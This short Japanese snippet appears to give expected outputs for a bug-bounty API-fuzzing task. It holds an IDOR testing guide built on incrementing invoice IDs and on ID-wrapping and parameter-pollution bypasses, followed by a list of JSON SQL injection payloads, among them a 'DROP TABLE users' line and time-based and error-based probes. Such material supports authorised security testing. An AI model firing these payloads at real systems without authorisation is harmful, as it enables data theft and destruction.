api-fuzzing-bug-bounty

期待される結果:

IDOR テストガイド:

1. まず、ベースラインを確立するために自分の請求書にアクセスします
2. ID をインクリメントしてテスト: /api/v1/invoices/12345 → /api/v1/invoices/12346
3. バパス手法をテスト:
- ID を配列でラップ: {"id":[12345]}
- JSON ラッパー: {"id":{"id":12345}}
- パラメータ汚染: ?invoice_id=12345&invoice_id=12346
4. 複数のアカウントがある場合は異なるユーザーコンテキストをテスト
5. 水平および垂直の IDOR（異なる権限アクセス）をチェック

期待される結果:

JSON SQL インジェクションペイロード:

基本テスト:
- {"id":"1' OR '1'='1"}
- {"id":"1; DROP TABLE users--"}

ブールベース:
- {"id":"1 AND 1=1"}
- {"id":"1 AND 1=2"}

タイムベース（ブラインド）:
- {"id":"1 AND sleep(5)--"}
- {"id":"1'; WAITFOR DELAY '0:0:5'--"}

エラーベース:
- {"id":"1' AND extractvalue(1,concat(0x7e,version()))--"}